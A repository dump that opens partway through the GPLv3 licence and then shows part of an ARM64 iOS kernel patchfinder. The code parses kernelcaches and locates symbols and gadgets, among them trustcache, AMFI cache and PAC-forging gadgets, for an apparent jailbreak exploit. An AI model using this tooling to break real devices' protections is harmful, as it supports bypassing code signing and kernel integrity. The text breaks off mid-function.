it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: PatchFinder/patchfinder64.h ================================================ #ifndef patchfinder_h #define patchfinder_h #import #import #import #import typedef unsigned long long addr_t; int initializePatchFinderWithBase(addr_t base, const char *filename); void terminatePatchFinder(void); // Fun part uint64_t Find_allproc(void); uint64_t Find_add_x0_x0_0x40_ret(void); uint64_t Find_copyout(void); uint64_t Find_bzero(void); uint64_t Find_bcopy(void); uint64_t Find_rootvnode(void); uint64_t Find_trustcache(void); uint64_t Find_amficache(void); uint64_t Find_pmap_load_trust_cache_ppl(void); uint64_t Find_OSBoolean_True(void); uint64_t Find_OSBoolean_False(void); uint64_t Find_zone_map_ref(void); uint64_t Find_osunserializexml(void); uint64_t Find_smalloc(void); uint64_t Find_sbops(void); uint64_t Find_bootargs(void); uint64_t Find_vfs_context_current(void); uint64_t Find_vnode_lookup(void); uint64_t Find_vnode_put(void); uint64_t Find_cs_gen_count(void); uint64_t Find_cs_validate_csblob(void); uint64_t Find_kalloc_canblock(void); uint64_t Find_cs_blob_allocate_site(void); uint64_t Find_kfree(void); uint64_t Find_cs_find_md(void); uint64_t Find_kernel_memory_allocate(void); uint64_t Find_kernel_map(void); // PAC uint64_t Find_l2tp_domain_module_start(void); uint64_t Find_l2tp_domain_module_stop(void); uint64_t Find_l2tp_domain_inited(void); uint64_t Find_sysctl_net_ppp_l2tp(void); uint64_t Find_sysctl_unregister_oid(void); uint64_t Find_mov_x0_x4__br_x5(void); uint64_t Find_mov_x9_x0__br_x1(void); uint64_t Find_mov_x10_x3__br_x6(void); uint64_t Find_kernel_forge_pacia_gadget(void); uint64_t Find_kernel_forge_pacda_gadget(void); uint64_t Find_IOUserClient_vtable(void); uint64_t Find_IORegistryEntry__getRegistryEntryID(void); #endif ================================================ FILE: PatchFinder/patchfinder64.m ================================================ // // patchfinder64.c // extra_recipe // // Created by xerub on 06/06/2017. // Copyright © 2017 xerub. All rights reserved. // #import #import #import #import #import #include "../Kernel Utilities/kernel_utils.h" #include "../Exploits/sock_port/exploit.h" typedef unsigned long long addr_t; #define IS64(image) (*(uint8_t *)(image) & 1) #define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface) /* generic stuff *************************************************************/ #define UCHAR_MAX 255 static unsigned char * Boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen, const unsigned char* needle, size_t nlen) { size_t last, scan = 0; size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called: * bad character shift */ /* Sanity checks on the parameters */ if (nlen <= 0 || !haystack || !needle) return NULL; /* ---- Preprocess ---- */ /* Initialize the table to default value */ /* When a character is encountered that does not occur * in the needle, we can safely skip ahead for the whole * length of the needle. */ for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1) bad_char_skip[scan] = nlen; /* C arrays have the first byte at [0], therefore: * [nlen - 1] is the last byte of the array. */ last = nlen - 1; /* Then populate it with the analysis of the needle */ for (scan = 0; scan < last; scan = scan + 1) bad_char_skip[needle[scan]] = last - scan; /* ---- Do the matching ---- */ /* Search the haystack, while the needle can still be within it. */ while (hlen >= nlen) { /* scan from the end of the needle */ for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1) if (scan == 0) /* If the first byte matches, we've found it. */ return (void *)haystack; /* otherwise, we need to skip some bytes and start again. Note that here we are getting the skip value based on the last byte of needle, no matter where we didn't match. So if needle is: "abcd" then we are skipping based on 'd' and that value will be 4, and for "abcdd" we again skip on 'd' but the value will be only 1. The alternative of pretending that the mismatched character was the last character is slower in the normal case (E.g. finding "abcd" in "...azcd..." gives 4 by using 'd' but only 4-2==2 using 'z'. */ hlen -= bad_char_skip[haystack[last]]; haystack += bad_char_skip[haystack[last]]; } return NULL; } /* disassembler **************************************************************/ static int HighestSetBit(int N, uint32_t imm) { int i; for (i = N - 1; i >= 0; i--) { if (imm & (1 << i)) { return i; } } return -1; } static uint64_t ZeroExtendOnes(unsigned M, unsigned N) // zero extend M ones to N width { (void)N; return ((uint64_t)1 << M) - 1; } static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R) { uint64_t val = ZeroExtendOnes(M, N); if (R == 0) { return val; } return ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R)); } static uint64_t Replicate(uint64_t val, unsigned bits) { uint64_t ret = val; unsigned shift; for (shift = bits; shift < 64; shift += bits) { // XXX actually, it is either 32 or 64 ret |= (val << shift); } return ret; } static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval) { unsigned levels, S, R, esize; int len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F)); if (len < 1) { return -1; } levels = ZeroExtendOnes(len, 6); if (immediate && (imms & levels) == levels) { return -1; } S = imms & levels; R = immr & levels; esize = 1 << len; *newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize); return 0; } static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval) { unsigned o = (opcode >> 29) & 3; unsigned k = (opcode >> 23) & 0x3F; unsigned rn, rd; uint64_t i; if (k == 0x24 && o == 1) { // MOV (bitmask imm) <=> ORR (immediate) unsigned s = (opcode >> 31) & 1; unsigned N = (opcode >> 22) & 1; if (s == 0 && N != 0) { return -1; } rn = (opcode >> 5) & 0x1F; if (rn == 31) { unsigned imms = (opcode >> 10) & 0x3F; unsigned immr = (opcode >> 16) & 0x3F; return DecodeBitMasks(N, imms, immr, 1, newval); } } else if (k == 0x25) { // MOVN/MOVZ/MOVK unsigned s = (opcode >> 31) & 1; unsigned h = (opcode >> 21) & 3; if (s == 0 && h > 1) { return -1; } i = (opcode >> 5) & 0xFFFF; h *= 16; i <<= h; if (o == 0) { // MOVN *newval = ~i; return 0; } else if (o == 2) { // MOVZ *newval = i; return 0; } else if (o == 3 && !first) { // MOVK *newval = (total & ~((uint64_t)0xFFFF << h)) | i; return 0; } } else if ((k | 1) == 0x23 && !first) { // ADD (immediate) unsigned h = (opcode >> 22) & 3; if (h > 1) { return -1; } rd = opcode & 0x1F; rn = (opcode >> 5) & 0x1F; if (rd != rn) { return -1; } i = (opcode >> 10) & 0xFFF; h *= 12; i <<= h; if (o & 2) { // SUB *newval = total - i; return 0; } else { // ADD *newval = total + i; return 0; } } return -1; } /* patchfinder ***************************************************************/ static addr_t Step64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) { addr_t end = start + length; while (start < end) { uint32_t x = *(uint32_t *)(buf + start); if ((x & mask) == what) { return start; } start += 4; } return 0; } // str8 = Step64_back(Kernel, ref, ref - bof, INSN_STR8); static addr_t Step64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) { addr_t end = start - length; while (start >= end) { uint32_t x = *(uint32_t *)(buf + start); if ((x & mask) == what) { return start; } start -= 4; } return 0; } // Finds start of function static addr_t BOF64(const uint8_t *buf, addr_t start, addr_t where) { extern addr_t PPLText_size; if (PPLText_size) { for (; where >= start; where -= 4) { uint32_t op = *(uint32_t *)(buf + where); if (op == 0xD503237F) { return where; } } return 0; } for (; where >= start; where -= 4) { uint32_t op = *(uint32_t *)(buf + where); if ((op & 0xFFC003FF) == 0x910003FD) { unsigned delta = (op >> 10) & 0xFFF; //printf("%x: ADD X29, SP, #0x%x\n", where, delta); if ((delta & 0xF) == 0) { addr_t prev = where - ((delta >> 4) + 1) * 4; uint32_t au = *(uint32_t *)(buf + prev); if ((au & 0xFFC003E0) == 0xA98003E0) { //printf("%x: STP x, y, [SP,#-imm]!\n", prev); if (*(uint32_t *)(buf + prev - 4) == 0xd503237f) return prev - 4; return prev; } // try something else while (where > start) { where -= 4; au = *(uint32_t *)(buf + where); // SUB SP, SP, #imm if ((au & 0xFFC003FF) == 0xD10003FF && ((au >> 10) & 0xFFF) == delta + 0x10) { if (*(uint32_t *)(buf + where - 4) == 0xd503237f) return where - 4; return where; } // STP x, y, [SP,#imm] if ((au & 0xFFC003E0) != 0xA90003E0) { where += 4; break; } } } } } return 0; } static addr_t Follow_call64(const uint8_t *buf, addr_t call) { long long w; w = *(uint32_t *)(buf + call) & 0x3FFFFFF; w <<= 64 - 26; w >>= 64 - 26 - 2; return call + w; } static addr_t XREF64(const uint8_t *buf, addr_t start, addr_t end, addr_t what) { addr_t i; uint64_t value[32]; memset(value, 0, sizeof(value)); end &= ~3; for (i = start & ~3; i < end; i += 4) { uint32_t op = *(uint32_t *)(buf + i); unsigned reg = op & 0x1F; if ((op & 0x9F000000) == 0x90000000) { signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); value[reg] = ((long long)adr << 1) + (i & ~0xFFF); /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { unsigned rd = op & 0x1F; unsigned rm = (op >> 16) & 0x1F; //printf("%llx: MOV X%d, X%d\n", i, rd, rm); value[rd] = value[rm];*/ } else if ((op & 0xFF000000) == 0x91000000) { unsigned rn = (op >> 5) & 0x1F; unsigned shift = (op >> 22) & 3; unsigned imm = (op >> 10) & 0xFFF; if (shift == 1) { imm <<= 12; } else { //assert(shift == 0); if (shift > 1) continue; } //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); value[reg] = value[rn] + imm; } else if ((op & 0xF9C00000) == 0xF9400000) { unsigned rn = (op >> 5) & 0x1F; unsigned imm = ((op >> 10) & 0xFFF) << 3; //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); if (!imm) continue; // XXX not counted as true xref value[reg] = value[rn] + imm; // XXX address, not actual value /*} else if ((op & 0xF9C00000) == 0xF9000000) { unsigned rn = (op >> 5) & 0x1F; unsigned imm = ((op >> 10) & 0xFFF) << 3; //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); if (!imm) continue; // XXX not counted as true xref value[rn] = value[rn] + imm; // XXX address, not actual value*/ } else if ((op & 0x9F000000) == 0x10000000) { signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); value[reg] = ((long long)adr >> 11) + i; } else if ((op & 0xFF000000) == 0x58000000) { unsigned adr = (op & 0xFFFFE0) >> 3; //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); value[reg] = adr + i; // XXX address, not actual value } else if ((op & 0xFC000000) == 0x94000000) { if (Follow_call64(buf, i) == what) { return i; } } else if ((op & 0xFC000000) == 0x14000000) { if (Follow_call64(buf, i) == what) { return i; } } else if ((op & 0x7F000000) == 0x37000000) { uint64_t addr = i + 4 * ((op & 0x7FFE0) >> 5); if (addr == what) { return i; } } if (value[reg] == what) { return i; } } return 0; } static addr_t Calc64(const uint8_t *buf, addr_t start, addr_t end, int which) { addr_t i; uint64_t value[32]; memset(value, 0, sizeof(value)); end &= ~3; for (i = start & ~3; i < end; i += 4) { uint32_t op = *(uint32_t *)(buf + i); unsigned reg = op & 0x1F; if ((op & 0x9F000000) == 0x90000000) { signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF)); value[reg] = ((long long)adr << 1) + (i & ~0xFFF); /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) { unsigned rd = op & 0x1F; unsigned rm = (op >> 16) & 0x1F; //printf("%llx: MOV X%d, X%d\n", i, rd, rm); value[rd] = value[rm];*/ } else if ((op & 0xFF000000) == 0x91000000) { unsigned rn = (op >> 5) & 0x1F; unsigned shift = (op >> 22) & 3; unsigned imm = (op >> 10) & 0xFFF; if (shift == 1) { imm <<= 12; } else { //assert(shift == 0); if (shift > 1) continue; } //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm); value[reg] = value[rn] + imm; } else if ((op & 0xFF000000) == 0xd2000000) { unsigned val = (op & 0x1fffe0) >> 5; // idk if this is really correct but works for our purpose value[reg] = val; } else if ((op & 0xF9C00000) == 0xF9400000) { unsigned rn = (op >> 5) & 0x1F; unsigned imm = ((op >> 10) & 0xFFF) << 3; //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); if (!imm) continue; // XXX not counted as true xref value[reg] = value[rn] + imm; // XXX address, not actual value } else if ((op & 0xF9C00000) == 0xb9400000) { // 32bit unsigned rn = (op >> 5) & 0x1F; unsigned imm = ((op >> 10) & 0xFFF) << 2; if (!imm) continue; // XXX not counted as true xref value[reg] = value[rn] + imm; // XXX address, not actual value } else if ((op & 0xF9C00000) == 0xF9000000) { unsigned rn = (op >> 5) & 0x1F; unsigned imm = ((op >> 10) & 0xFFF) << 3; //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm); if (!imm) continue; // XXX not counted as true xref value[rn] = value[rn] + imm; // XXX address, not actual value } else if ((op & 0x9F000000) == 0x10000000) { signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8); //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i); value[reg] = ((long long)adr >> 11) + i; } else if ((op & 0xFF000000) == 0x58000000) { unsigned adr = (op & 0xFFFFE0) >> 3; //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i); value[reg] = adr + i; // XXX address, not actual value } } return value[which]; } static addr_t Calc64mov(const uint8_t *buf, addr_t start, addr_t end, int which) { addr_t i; uint64_t value[32]; memset(value, 0, sizeof(value)); end &= ~3; for (i = start & ~3; i < end; i += 4) { uint32_t op = *(uint32_t *)(buf + i); unsigned reg = op & 0x1F; uint64_t newval; int rv = DecodeMov(op, value[reg], 0, &newval); if (rv == 0) { if (((op >> 31) & 1) == 0) { newval &= 0xFFFFFFFF; } value[reg] = newval; } } return value[which]; } static addr_t Find_call64(const uint8_t *buf, addr_t start, size_t length) { return Step64(buf, start, length, 0x94000000, 0xFC000000); } static addr_t Follow_cbz(const uint8_t *buf, addr_t cbz) { return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13); } /* kernel iOS10 **************************************************************/ #import #import #import #import #import static uint8_t *Kernel = NULL; static size_t Kernel_size = 0; static addr_t XNUCore_Base = 0; static addr_t XNUCore_Size = 0; static addr_t Prelink_Base = 0; static addr_t Prelink_Size = 0; static addr_t CString_base = 0; static addr_t CString_size = 0; static addr_t PString_base = 0; static addr_t PString_size = 0; static addr_t OSLog_base = 0; static addr_t OSLog_size = 0; static addr_t Data_base = 0; static addr_t Data_size = 0; static addr_t Data_const_base = 0; static addr_t Data_const_size = 0; addr_t PPLText_base = 0; addr_t PPLText_size = 0; static addr_t KernDumpBase = -1; static addr_t Kernel_entry = 0; static void *Kernel_mh = 0; static addr_t Kernel_delta = 0; static uint32_t arch_off = 0; int initializePatchFinderWithBase(addr_t base, const char *filename) { size_t rv; uint8_t buf[0x4000]; unsigned i, j; const struct mach_header *hdr = (struct mach_header *)buf; const uint8_t *q; addr_t min = -1; addr_t max = 0; int is64 = 0; int fd = open(filename, O_RDONLY); if (fd < 0) { return -1; } uint32_t magic; read(fd, &magic, 4); lseek(fd, 0, SEEK_SET); if (magic == 0xbebafeca) { struct fat_header fat; lseek(fd, sizeof(fat), SEEK_SET); struct fat_arch_64 arch; read(fd, &arch, sizeof(arch)); arch_off = ntohl(arch.offset); lseek(fd, arch_off, SEEK_SET); // kerneldec gives a FAT binary for some reason } rv = read(fd, buf, sizeof(buf)); if (rv != sizeof(buf)) { close(fd); return -1; } if (!MACHO(buf)) { close(fd); return -1; } if (IS64(buf)) { is64 = 4; } q = buf + sizeof(struct mach_header) + is64; for (i = 0; i < hdr->ncmds; i++) { const struct load_command *cmd = (struct load_command *)q; if (cmd->cmd == LC_SEGMENT_64) { const struct segment_command_64 *seg = (struct segment_command_64 *)q; if (min > seg->vmaddr) { min = seg->vmaddr; } if (max < seg->vmaddr + seg->vmsize) { max = seg->vmaddr + seg->vmsize; } if (!strcmp(seg->segname, "__TEXT_EXEC")) { XNUCore_Base = seg->vmaddr; XNUCore_Size = seg->filesize; } else if (!strcmp(seg->segname, "__PPLTEXT")) { PPLText_base = seg->vmaddr; PPLText_size = seg->filesize; } else if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) { Prelink_Base = seg->vmaddr; Prelink_Size = seg->filesize; } else if (!strcmp(seg->segname, "__DATA_CONST")) { const struct section_64 *sec = (struct section_64 *)(seg + 1); for (j = 0; j < seg->nsects; j++) { if (!strcmp(sec[j].sectname, "__const")) { Data_const_base = sec[j].addr; Data_const_size = sec[j].size; } } } else if (!strcmp(seg->segname, "__DATA")) { const struct section_64 *sec = (struct section_64 *)(seg + 1); for (j = 0; j < seg->nsects; j++) { if (!strcmp(sec[j].sectname, "__data")) { Data_base = sec[j].addr; Data_size = sec[j].size; } } } else if (!strcmp(seg->segname, "__TEXT")) { const struct section_64 *sec = (struct section_64 *)(seg + 1); for (j = 0; j < seg->nsects; j++) { if (!strcmp(sec[j].sectname, "__cstring")) { CString_base = sec[j].addr; CString_size = sec[j].size; } if (!strcmp(sec[j].sectname, "__os_log")) { OSLog_base = sec[j].addr; OSLog_size = sec[j].size; } } } else if (!strcmp(seg->segname, "__PRELINK_TEXT")) { const struct section_64 *sec = (struct section_64 *)(seg + 1); for (j = 0; j < seg->nsects; j++) { if (!strcmp(sec[j].sectname, "__text")) { PString_base = sec[j].addr; PString_size = sec[j].size; } } } else if (!strcmp(seg->segname, "__LINKEDIT")) { Kernel_delta = seg->vmaddr - min - seg->fileoff; } } else if (cmd->cmd == LC_UNIXTHREAD) { uint32_t *ptr = (uint32_t *)(cmd + 1); uint32_t flavor = ptr[0]; struct { uint64_t x[29]; /* General purpose registers x0-x28 */ uint64_t fp; /* Frame pointer x29 */ uint64_t lr; /* Link register x30 */ uint64_t sp; /* Stack pointer x31 */ uint64_t pc; /* Program counter */ uint32_t cpsr; /* Current program status register */ } *thread = (void *)(ptr + 2); if (flavor == 6) { Kernel_entry = thread->pc; } } q = q + cmd->cmdsize; } KernDumpBase = min; XNUCore_Base -= KernDumpBase; Prelink_Base -= KernDumpBase; CString_base -= KernDumpBase; PString_base -= KernDumpBase; OSLog_base -= KernDumpBase; Data_base -= KernDumpBase; Data_const_base -= KernDumpBase; PPLText_base -= KernDumpBase; Kernel_size = max - min; Kernel = calloc(1, Kernel_size); if (!Kernel) { close(fd); return -1; } q = buf + sizeof(struct mach_header) + is64; for (i = 0; i < hdr->ncmds; i++) { const struct load_command *cmd = (struct load_command *)q; if (cmd->cmd == LC_SEGMENT_64) { const struct segment_command_64 *seg = (struct segment_command_64 *)q; size_t sz = pread(fd, Kernel + seg->vmaddr - min, seg->filesize, seg->fileoff); if (sz != seg->filesize) { close(fd); free(Kernel); return -1; } if (!Kernel_mh) { Kernel_mh = Kernel + seg->vmaddr - min; } //printf("%s\n", seg->segname); if (!strcmp(seg->segname, "__LINKEDIT")) { Kernel_delta = seg->vmaddr - min - seg->fileoff; } } q = q + cmd->cmdsize; } Kernel += arch_off; close(fd); (void)base; return 0; } void terminatePatchFinder(void) { Kernel -= arch_off; free(Kernel); } /* these operate on VA ******************************************************/ #define INSN_RET 0xD65F03C0, 0xFFFFFFFF #define INSN_CALL 0x94000000, 0xFC000000 #define INSN_B 0x14000000, 0xFC000000 #define INSN_CBZ 0x34000000, 0xFC000000 #define INSN_ADRP 0x90000000, 0x9F000000 #define INSN_TBNZ 0x37000000, 0x7F000000 addr_t Find_register_value(addr_t where, int reg) { addr_t val; addr_t bof = 0; where -= KernDumpBase; if (where > XNUCore_Base) { bof = BOF64(Kernel, XNUCore_Base, where); if (!bof) { bof = XNUCore_Base; } } else if (where > Prelink_Base) { bof = BOF64(Kernel, Prelink_Base, where); if (!bof) { bof = Prelink_Base; } } val = Calc64(Kernel, bof, where, reg); if (!val) { return 0; } return val + KernDumpBase; } addr_t Find_reference(addr_t to, int n, int type) { addr_t ref, end; addr_t base; addr_t size; base = XNUCore_Base; size = XNUCore_Size; if (type == 1) { base = Prelink_Base; size = Prelink_Size; } if (type == 4) { base = PPLText_base; size = PPLText_size; } if (n <= 0) { n = 1; } end = base + size; to -= KernDumpBase; do { ref = XREF64(Kernel, base, end, to); if (!ref) { return 0; } base = ref + 4; } while (--n > 0); return ref + KernDumpBase; } addr_t Find_strref(const char *string, int n, int type, bool exactMatch) { uint8_t *str; addr_t base, size; if (type == 1) { base = PString_base; size = PString_size; } else if (type == 2) { base = OSLog_base; size = OSLog_size; } else if (type == 3) { base = Data_base; size = Data_size; } else { base = CString_base; size = CString_size; 